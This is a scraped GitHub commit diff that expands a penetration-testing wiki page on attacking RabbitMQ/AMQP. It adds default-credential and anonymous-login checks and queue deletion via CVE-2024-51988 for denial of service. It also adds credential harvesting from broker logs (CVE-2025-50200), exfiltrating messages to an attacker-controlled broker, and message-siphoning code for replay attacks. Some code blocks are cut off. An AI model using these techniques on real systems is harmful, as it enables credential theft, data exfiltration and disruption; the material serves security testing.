You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/network-services-pentesting/5671-5672-pentesting-amqp.md
+87-4Lines changed: 87 additions & 4 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -17,19 +17,25 @@ PORT STATE SERVICE VERSION
17
17
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
18
18
```
19
19
20
+
-**Default credentials**: `guest:guest`. RabbitMQ restricts them to localhost through `loopback_users`, but many Docker/IoT images disable that check, so always test remote login before assuming it is blocked.
21
+
-**Authentication mechanisms**: PLAIN and AMQPLAIN are enabled by default, ANONYMOUS is mapped to `anonymous_login_user`/`anonymous_login_pass`, and EXTERNAL (x509) can be exposed when TLS is enabled. Enumerate what the broker advertises so you know whether to try password spraying or certificate impersonation later.
22
+
20
23
## Enumeration
21
24
22
25
### Manual
23
26
24
27
```python
25
28
import amqp
26
-
#By default it uses default credentials "guest":"guest"
Once authenticated, dump `conn.server_properties`, `conn.channel_max` and `conn.frame_max` to understand throughput limits and whether you can exhaust resources with oversized frames.
This leaks the certificate chain, supported TLS versions and whether mutual TLS is required.
68
+
-**List listeners** without creds:
69
+
```bash
70
+
rabbitmq-diagnostics -q listeners
71
+
```
72
+
Useful once you get low-priv shell access to the host.
73
+
-**Spot ANONYMOUS logins**: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the `anonymous_login_user` (defaults to `guest`).
### Queue deletion without configure perms (CVE-2024-51988)
83
+
84
+
RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) fail to check the `configure` permission when queues are deleted via the HTTP API. Any authenticated user with access to the target vhost can nuke arbitrary queues even if they only have `read` or `write` rights.
85
+
86
+
```bash
87
+
# confirm vulnerable version first
88
+
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
Combine this with `rabbitmqadmin list permissions` to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check [15672 pentesting](15672-pentesting-rabbitmq-management.md) for more HTTP API endpoints to chain with this bug.
94
+
95
+
### Harvest credentials from RabbitMQ logs (CVE-2025-50200)
96
+
97
+
Until 4.0.8/4.1.0, hitting the management API with HTTP basic auth on a non-existent resource causes the broker to log the entire `Authorization` header (base64). If you gain limited filesystem access (e.g. Docker escape, plugin RCE), search `/var/log/rabbitmq/rabbit@*.log` for `Authorization:` and recover credentials for other tenants or service accounts.
Trigger this intentionally with bogus endpoints to plant fresh secrets in the logs, then pivot by reusing the decoded creds over AMQP, STOMP, MQTT or the OS itself.
105
+
106
+
### Weaponize rabbitmqadmin-ng
107
+
108
+
`rabbitmqadmin` v2 (aka rabbitmqadmin-ng) is a self-contained CLI that talks to the management API and now ships statically linked builds for Linux/macOS/Windows. Drop it on your bounce box and script:
109
+
110
+
```bash
111
+
# enumerate live channels and prefetch pressure
112
+
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
113
+
# clone a shovel to exfiltrate messages to attacker-controlled broker
Because the tool supports blue/green aware health checks, you can also abuse `rabbitmqadmin health_check port_listener --port 5672` to remotely confirm whether TLS listeners were exposed or to keep the service busy for timing probes.
123
+
124
+
### Message hijacking/sniffing
125
+
126
+
If you find permissive policies (`.*` bindings, `topic` exchanges, or `x-queue-master-locator = min-masters`), you can quietly siphon messages without deleting them:
for method, props, body in ch.consume('loot', inactivity_timeout=5):
136
+
if body:
137
+
print(method.routing_key, body)
138
+
```
139
+
140
+
Swap the routing key for `audit.#` or `payments.*` to focus on sensitive flows, then republish forged messages by flipping `basic_publish` arguments—handy for replay attacks against downstream microservices.
141
+
60
142
## Other RabbitMQ ports
61
143
62
144
In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**:
@@ -86,8 +168,9 @@ In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networkin
86
168
87
169
-[CloudAMQP – RabbitMQ for beginners](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
0 commit comments